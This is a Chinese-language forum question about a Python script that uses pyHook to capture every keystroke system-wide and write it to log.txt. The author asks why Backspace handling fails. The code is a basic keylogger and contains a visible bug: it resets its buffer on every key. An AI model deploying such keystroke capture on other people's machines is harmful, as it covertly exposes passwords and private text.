我有一个很长的脚本,所以我会总结一下。
LOG_TEXT
是存储所有字符的地方,数据通过击键到达那里,因此每次用户在键盘上键入一个键时,它都会转到LOG_TEXT
.
最终,LOG_TEXT
20 秒后保存在 log.txt 中。
我的问题是,当我单击 Back space 时,它不会删除最后一个字符。
这是我一直在尝试的:
import pythoncom, pyHook, os
def OnKeyboardEvent(event):
global LOG_TEXT, LOG_FILE
LOG_TEXT = ""
LOG_FILE = open('log.txt', 'a')
if event.Ascii == 8: # If 'back space' was pressed
LOG_TEXT = LOG_TEXT[:-1] # Delete the last char
elif event.Ascii == 13 or event.Ascii == 9: # If 'Enter' was pressed
LOG_TEXT += "\n" # Drop the line
else:
LOG_TEXT += str(chr(event.Ascii)) # Adds the chars to the log
# Write to file
LOG_FILE.write(LOG_TEXT)
LOG_FILE.close()
return True
LOG_FILE = open('log.txt', 'a')
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
并且还尝试过:
LOG_TEXT = LOG_TEXT[:-2] # Delete the last char
和:
LOG_TEXT += '\b' # Delete the last char
任何解决方案/建议?
感谢帮助者:)